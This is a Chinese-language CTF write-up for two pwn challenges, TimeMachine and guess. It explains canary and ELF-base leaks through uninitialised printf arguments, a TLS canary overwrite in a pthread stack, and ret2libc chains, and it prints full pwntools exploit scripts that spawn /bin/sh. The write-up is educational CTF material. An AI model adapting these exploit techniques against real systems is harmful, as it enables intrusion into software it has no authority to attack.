这次的比赛总共有三题pwn 两题出的比较新 一题就是考烂的伪随机数 这里就不收纳进入wp了
TimeMachine
int __cdecl main(int argc, const char **argv, const char **envp) { void *v3; _QWORD *v4; __int64 v6; unsigned __int8 i; unsigned __int8 v8; double v9; unsigned __int64 v10; unsigned __int64 v11;
v11 = __readfsqword(0x28u); v9 = 31137.31337; ask_name(argc, argv, envp); v8 = ask_number(); v3 = alloca(16 * ((8 * v8 + 30) / 0x10)); v10 = 16 * ((&v6 + 7) >> 4); for ( i = 0; i < v8; ++i ) *(8LL * i + v10) = 0x40DE68540E410B63LL; for ( i = 0; ; ++i ) { printf("-=-=-=-= CHALLENGE %03d =-=-=-=-\n", i + 1); v4 = (8LL * i + v10); play_game(); *v4 = 0x40DE68540E410B63LL; if ( i >= v8 - 1 || !ask_again() ) break; } for ( i = 0; i < v8; ++i ) { if ( v9 > *(8LL * i + v10) ) v9 = *(8LL * i + v10); } puts("-=-=-=-= RESULT =-=-=-=-"); printf("Name: %s\n", name); HIBYTE(v6) = HIBYTE(v9); printf("Best Score: %lf\n", v9); return 0; }
|
主要的逻辑就是利用gettimeofday来实现一个控制时间的小游戏 输入想要间隔的时间 然后两次输入任意字符来开启和终止计时 不过程序本身并没有漏洞 漏洞主要出现在完成一次游戏后 是否还要继续的函数
_BOOL8 ask_again() { char v1[24]; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("Play again? (Y/n) "); __isoc99_scanf("%s", v1); readuntil(10LL); return v1[0] != 110 && v1[0] != 78; }
|
这里存在了一个栈溢出漏洞 但是由于程序本身开启了canary 所以我们需要想办法获取canary的值 这里当然是特别关注一下程序的几个输出函数 看看有没有机会泄露
发现了这个printf函数的调用存在可疑点 其将rbp-0x48处的内容赋值给了rbp-0x58 我们通过gdb动调来查看一下
可以看到相当于就是把canary赋值给了rsp指针指向的下一个字长处 这样的用意何在呢 可以看到随后就被赋值给了xmm0浮点数寄存器 这是printf函数利用%lf格式化字符输出数据的固定调用格式 会把调用时rsp的下一个字长内容输出
只要我们在ask_time函数中输入的v4不符合指定格式 那么v4就不会被赋值 从而我们可以泄露出canary 在后续的栈溢出中构造rop链
同时还有一点要注意的 由于是scanf引起的栈溢出 所以\x20 也就是空格 是无法被读入的 而本题的got表都位于0x602000处 所以我们需要泄露libc_start_main的基址
完整exp:
from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.log_level = "debug" context.binary = elf context.terminal = ['tmux','splitw','-h']
libc = ELF("./libc-2.31.so")
def debug(): gdb.attach(io) pause()
io.recvuntil("> ") io.sendline(b'x') io.recvuntil("> ") io.sendline(b'16') io.recvuntil("Time[sec]: ")
io.sendline(b'c')
io.recvuntil("Stop the timer as close to ") t = io.recvuntil(" ",drop = True) canary = struct.pack("<d", float(t)) io.recvuntil("Press ENTER to start / stop the timer.") io.send('\n') io.recvuntil("Timer started.") io.send('\n') io.recvuntil("Play again? (Y/n) ") puts_plt = elf.sym['puts'] libc_start_main_got = 0x601ff0 rdi_addr = 0x0000000000400e93 ret_addr = 0x00000000004006a6 back_addr = 0x40089B rop = ROP(elf) rop.puts(elf.got.__libc_start_main) rop.ask_again() payload = cyclic(0x18)+canary+cyclic(0x8)+p64(rdi_addr)+p64(libc_start_main_got)+p64(puts_plt)+p64(back_addr)
io.sendline(payload)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x23fc0 success("libc_addr :"+hex(libc_addr)) io.recvuntil("Play again? (Y/n) ") system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b'/bin/sh')) success("system_addr :"+hex(system_addr)) payload = cyclic(0x18)+canary+cyclic(0x8)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()
|
guess
这题的漏洞点和上题类似 不过考到了pthread_join线程函数带来的漏洞
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned __int64 v3; void *v4; int i; int v7; pthread_t newthread[3];
newthread[2] = __readfsqword(0x28u); sub_13E8(); v7 = sub_1594(); v3 = 16 * ((8LL * v7 + 23) / 0x10uLL); while ( &i != (&i - (v3 & 0xFFFFFFFFFFFFF000LL)) ) ; v4 = alloca(v3 & 0xFFF); if ( (v3 & 0xFFF) != 0 ) *(&i + (v3 & 0xFFF) - 8) = *(&i + (v3 & 0xFFF) - 8); newthread[1] = 16 * ((newthread + 7) >> 4); sub_1552(a1); for ( i = 0; i < dword_4030; ++i ) sub_1485(); fflush(stdout); puts("I don't think you won the game if you made it until here ..."); puts("But maybe a threaded win can help?"); pthread_create(newthread, 0LL, start_routine, 0LL); pthread_join(newthread[0], 0LL); return 0LL; }
|
主要的逻辑都差不多 关键在于sub_1485这个函数
if ( dword_4030 - 1 == dword_402C ) { puts("Sorry, that was the last guess!"); printf("You entered %lu but the right number was %lu\n", v1, v2); }
|
如果这是我们最后一次猜数字并且还猜错了 那么就会告诉我们正确的数字 注意了是用%lu输出的 来看一下汇编 会将rbp-0x18处的数据赋值给rsi寄存器 我们通过gdb动调来观察一下 如果我们不按要求输出数据 使得我们输入的数据为空 此时的rsi寄存器会被赋值成什么
可以泄露elf的地址 由于开启了PIE 我们在不泄露libc地址的情况下很难构造rop链 这下子就可以构造了
接着我们来说说pthread_create这个线程函数 其无非就是创建了一个新的线程 并且指定了新的线程从start_routine函数开始
随后利用pthread_join函数 指定了在原本的线程结束后 开始执行新的线程
在这里你可以注意到 两个函数的第一个参数newthread 是用来规定新线程的内存单元 也就是说新线程的内存空间是旧线程的栈
而栈地址我们知道是由高地址到低地址的 TLS结构体的初始化 就会在高地址处 而start_routine函数提供了栈溢出的机会 那么我们就有机会溢出到tls结构体 由此里绕过canary 再加上我们前面泄露了elf的基址 接下来就是ret2libc的问题了
旧线程的栈地址:
新线程的栈地址 以及tls结构体存放的位置
完整exp:
from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] context.arch = "amd64" libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
def debug(): gdb.attach(io) pause()
io.recvuntil("Enter the size : ") io.sendline(b'1') io.recvuntil("Enter the number of tries : ") io.sendline(b'1') io.recvuntil("Enter your guess : ")
io.sendline(b'c')
io.recvuntil("You entered ") elf_addr = int(io.recvuntil(" ",drop = True),10)-0x1579 success("elf_addr :"+hex(elf_addr)) io.recvuntil("But maybe a threaded win can help?") puts_got = elf_addr + elf.got['puts'] puts_plt = elf_addr + elf.sym['puts'] rdi_addr = elf_addr+0x0000000000001793 back_addr = elf_addr + 0x1436 ret_addr = elf_addr + 0x000000000000101a payload = cyclic(0x18)+p64(0x100)+cyclic(0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(back_addr) payload = payload.ljust(0x858,b'\x00')+p64(0x100) io.sendline(payload)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts'] success("libc_addr :"+hex(libc_addr)) system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) read_addr = libc_addr + libc.sym['read'] rax_addr = libc_addr + next(libc.search(asm("pop rax;ret"))) rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret"))) syscall_addr = read_addr + 0x10 io.recvuntil("> ") payload = cyclic(0x18)+p64(0x100)+cyclic(0x8)+p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(binsh_addr)+p64(rsi_addr)+p64(0)+p64(syscall_addr)
io.sendline(payload)
io.interactive()
|